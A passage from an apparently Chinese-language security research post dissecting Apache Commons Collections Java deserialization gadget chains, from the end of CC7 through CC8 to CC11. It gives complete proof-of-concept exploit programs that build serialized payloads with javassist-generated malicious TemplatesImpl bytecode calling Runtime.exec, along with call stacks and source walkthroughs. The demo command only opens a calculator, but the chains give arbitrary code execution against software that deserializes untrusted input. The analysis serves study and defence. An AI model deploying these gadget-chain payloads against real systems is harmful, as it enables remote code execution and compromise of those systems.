1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) equals:472 , AbstractMap (java.util) equals:129 , AbstractMapDecorator (org.apache.commons.collections.map) reconstitutionPut:1221 , Hashtable (java.util) readObject:1195 , Hashtable (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:57 , CC7
分析
Hashtable#readObject 调用了Hashtable#reconstitutionPut 。
1 2 3 4 5 6 7 8 9 10 11 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
Hashtable#reconstitutionPut 继续触发AbstractMap#equals 。
1 2 3 4 5 6 7 8 9 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } }
AbstractMap#equals 再转到m.get ,那么使得传入的key 是构造好的transformerChain 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public boolean equals (Object o) { try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } }
确定输出后,研究一下如何构造输入,Hashtable#writeObject 是直接将table 变量中的key 遍历后写入,那么思路就是获取table 并修改值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void writeObject (java.io.ObjectOutputStream s) throws IOException { Entry<Object, Object> entryStack = null ; synchronized (this ) { for (int index = 0 ; index < table.length; index++) { Entry<?,?> entry = table[index]; while (entry != null ) { entryStack = new Entry <>(0 , entry.key, entry.value, entryStack); entry = entry.next; } } } while (entryStack != null ) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
和其他链的不同之处做个笔记。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Map innerMap1 = new HashMap ();Map innerMap2 = new HashMap ();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable ();hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field field = transformerChain.getClass().getDeclaredField("iTransformers" );field.setAccessible(true ); field.set(transformerChain, transformers); lazyMap2.remove("yy" );
hashtable#put 执行了两次,因为反序列化时,一开始table 是为空,所以不会进入for 循环触发Hashtable#equals ,而是直接进到下面的赋值。
因此第二次执行hashtable#put 时,table 有内容了,于是触发Hashtable#equals 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{ int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
而此处的yy 和zZ ,是因为前面的这处e.hash == hash 的哈希计算,
1 2 3 4 5 6 7 8 9 10 public static int hashCode (char a[]) { if (a == null ) return 0 ; int result = 1 ; for (char element : a) result = 31 * result + element; return result; }
利用哈希碰撞构造两个不相等但哈希相等的字符串即可,若字符串相等,则会被认为是同一个值,导致hashtable#put 执行时只遍历一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class HashCrack { public static void main (String[] args) { String secret = "aa" ; int hash = secret.hashCode(); String dic = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" ; for (char i : dic.toCharArray()) { for (char j : dic.toCharArray()) { String tmp = "" + i + j + secret.substring(2 ); if (tmp.hashCode() == hash) { System.out.println(tmp); } } } } }
而最后移除lazyMap2 中的yy ,是因为在构造POC 中第二次执行hashtable#put 时,触发了AbstractMap#equals 。
AbstractMap#equals 中entrySet().iterator() 返回了所有的键值对,而第一次执行插入了yy ,故在循环中取出yy 这个键值对,然后带进了LazyMap#get 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public boolean equals (Object o) { try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } }
跟到LazyMap#get ,发现执行了this.factory.transform(key) ,但一开始的transformerChain 并未构造反序列化链,所以直接返回了原值,然后执行了put ,将yy 置入了lazyMap2 中。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
而若不移除,则最后反序列化的时候,会导致AbstractMap#equals 中对大小的教员返回false 。
1 2 3 4 5 6 7 public boolean equals (Object o) { Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; }
CommonsCollections8
影响版本
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.bag.TreeBag;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class CC8 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); InvokerTransformer transformer = new InvokerTransformer ("toString" , null , null ); TreeBag tree = new TreeBag (new TransformingComparator (transformer)); tree.add(templates); setFieldValue(transformer, "iMethodName" , "newTransformer" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC8" )); outputStream.writeObject(tree); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC8" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat181262220991834 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:129 , InvokerTransformer (org.apache.commons.collections4.functors) compare:81 , TransformingComparator (org.apache.commons.collections4.comparators) compare:1291 , TreeMap (java.util) put:538 , TreeMap (java.util) doReadObject:524 , AbstractMapBag (org.apache.commons.collections4.bag) readObject:129 , TreeBag (org.apache.commons.collections4.bag) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:48 , CC8
分析
TreeBag#readObject 转到TreeBag#doReadObject 。
1 2 3 4 5 6 private void readObject (final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); @SuppressWarnings("unchecked") final Comparator<? super E> comp = (Comparator<? super E>) in.readObject(); super .doReadObject(new TreeMap <E, MutableInteger>(comp), in); }
TreeBag#doReadObject 调用了map.put 。
1 2 3 4 5 6 7 8 9 10 11 12 protected void doReadObject (final Map<E, MutableInteger> map, final ObjectInputStream in) throws IOException, ClassNotFoundException { this .map = map; final int entrySize = in.readInt(); for (int i = 0 ; i < entrySize; i++) { @SuppressWarnings("unchecked") final E obj = (E) in.readObject(); final int count = in.readInt(); map.put(obj, new MutableInteger (count)); size += count; } }
TreeMap#put 调用了TreeMap#compare 。
1 2 3 4 5 6 7 8 9 10 11 12 public V put (K key, V value) { Entry<K,V> t = root; if (t == null ) { compare(key, key); root = new Entry <>(key, value, null ); size = 1 ; modCount++; return null ; } }
TreeMap#compare 再转TransformingComparator#compare 。
1 2 3 4 final int compare (Object k1, Object k2) { return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2) : comparator.compare((K)k1, (K)k2); }
TransformingComparator#compare 继续转InvokerTransformer#transform 。
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
最后在InvokerTransformer#transform 中触发TemplatesImpl#newTransformer ,反射执行恶意字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public O transform (final Object input) { if (input == null ) { return null ; } try { final Class<?> cls = input.getClass(); final Method method = cls.getMethod(iMethodName, iParamTypes); return (O) method.invoke(input, iArgs); } catch (final NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (final IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (final InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
一开始设置InvokerTransformer 的methodName 为toString ,后面修改为newTransformer 是为了防止tree.add(templates) 提前在本地执行恶意字节码,下附调用栈。
1 2 3 4 5 6 7 8 9 invoke:497 , Method (java.lang.reflect) transform:129 , InvokerTransformer (org.apache.commons.collections4.functors) compare:81 , TransformingComparator (org.apache.commons.collections4.comparators) compare:1291 , TreeMap (java.util) put:538 , TreeMap (java.util) add:257 , AbstractMapBag (org.apache.commons.collections4.bag) add:241 , AbstractMapBag (org.apache.commons.collections4.bag) add:90 , TreeBag (org.apache.commons.collections4.bag) main:38 , CC8
CommonsCollections9
CC8+CC5 。
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC9 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); InvokerTransformer transformer = new InvokerTransformer ("toString" , null , null ); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); BadAttributeValueExpException exception = new BadAttributeValueExpException (1 ); setFieldValue(exception, "val" , tiedMapEntry); setFieldValue(transformer, "iMethodName" , "newTransformer" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC9" )); outputStream.writeObject(exception); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC9" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat88341941093958 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) toString:131 , TiedMapEntry (org.apache.commons.collections.keyvalue) readObject:86 , BadAttributeValueExpException (javax.management) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:57 , CC9
分析
把TreeBag 换成了BadAttributeValueExpException+LazyMap 来触发,也没啥好说的,简单过一遍。
BadAttributeValueExpException#readObject 调用了valObj.toString() ,此时valObj 为TiedMapEntry ,因此跳到TiedMapEntry#toString 。
1 2 3 public String toString () { return getKey() + "=" + getValue(); }
然后TiedMapEntry#toString 转TiedMapEntry#getValue ,此时map 为LazyMap 。
1 2 3 public Object getValue () { return map.get(key); }
因此触发LazyMap#get ,而这时factory 为InvokerTransformer ,key 为TemplatesImpl 。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
InvokerTransformer#transform 反射调用,执行TemplatesImpl#newTransformer ,反射执行恶意字节码。
1 2 3 4 5 6 7 public Object transform (Object input) { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); }
CommonsCollections10
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC10 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); InstantiateFactory instantiateFactory = new InstantiateFactory ( TrAXFilter.class, new Class [] {Templates.class}, new Object [] {templates}); FactoryTransformer factoryTransformer = new FactoryTransformer (instantiateFactory); ConstantTransformer constantTransformer = new ConstantTransformer (1 ); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, 1 ); Map expMap = new HashMap (); expMap.put(tiedMapEntry, 2 ); setFieldValue(lazyMap, "factory" , factoryTransformer); lazyMap.remove(1 ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC10" )); outputStream.writeObject(expMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC10" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat248160042878084 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) <init>:64 , TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax) newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) create:128 , InstantiateFactory (org.apache.commons.collections.functors) transform:72 , FactoryTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120 , TiedMapEntry (org.apache.commons.collections.keyvalue) hash:338 , HashMap (java.util) readObject:1397 , HashMap (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:62 , CC10
分析
HashMap#readObject 触发TiedMapEntry#hashCode 。
1 2 3 4 5 6 7 8 9 10 11 12 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
TiedMapEntry#hashCode 触发TiedMapEntry#getValue 。
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
然后轻车熟路,TiedMapEntry#getValue 到LazyMap#get 。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
LazyMap#get 到FactoryTransformer#transform 。
1 2 3 public Object transform (Object input) { return iFactory.create(); }
FactoryTransformer#transform 到InstantiateFactory#create ,iConstructor 为TrAXFilter 。
1 2 3 4 5 6 7 public Object create () { try { return iConstructor.newInstance(iArgs); } }
故InstantiateFactory#create 触发TrAXFilter 的构造方法,templates 为恶意字节码,执行newTransformer 触发。
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
而最后需要remove 操作,是LazyMap#get 中map.containsKey(key) == false 成立。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
CommonsCollections11
CC2+CC6 。
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC11 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); InvokerTransformer transformer = new InvokerTransformer (null , null , null ); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); HashSet hashSet = new HashSet (1 ); hashSet.add(2 ); Field hashSetField = getField(HashSet.class, "map" ); HashMap hashSetMap = (HashMap) hashSetField.get(hashSet); Field hashMapField = getField(HashMap.class, "table" ); Object[] array = (Object[]) hashMapField.get(hashSetMap); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } setFieldValue(node, "key" , tiedMapEntry); setFieldValue(transformer, "iMethodName" , "newTransformer" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC11" )); outputStream.writeObject(hashSet); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC11" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat315687595542584 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120 , TiedMapEntry (org.apache.commons.collections.keyvalue) hash:338 , HashMap (java.util) put:611 , HashMap (java.util) readObject:334 , HashSet (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:88 , CC11
分析
HashSet#readObject 转HashMap#put ,e 为TiedMapEntry 。
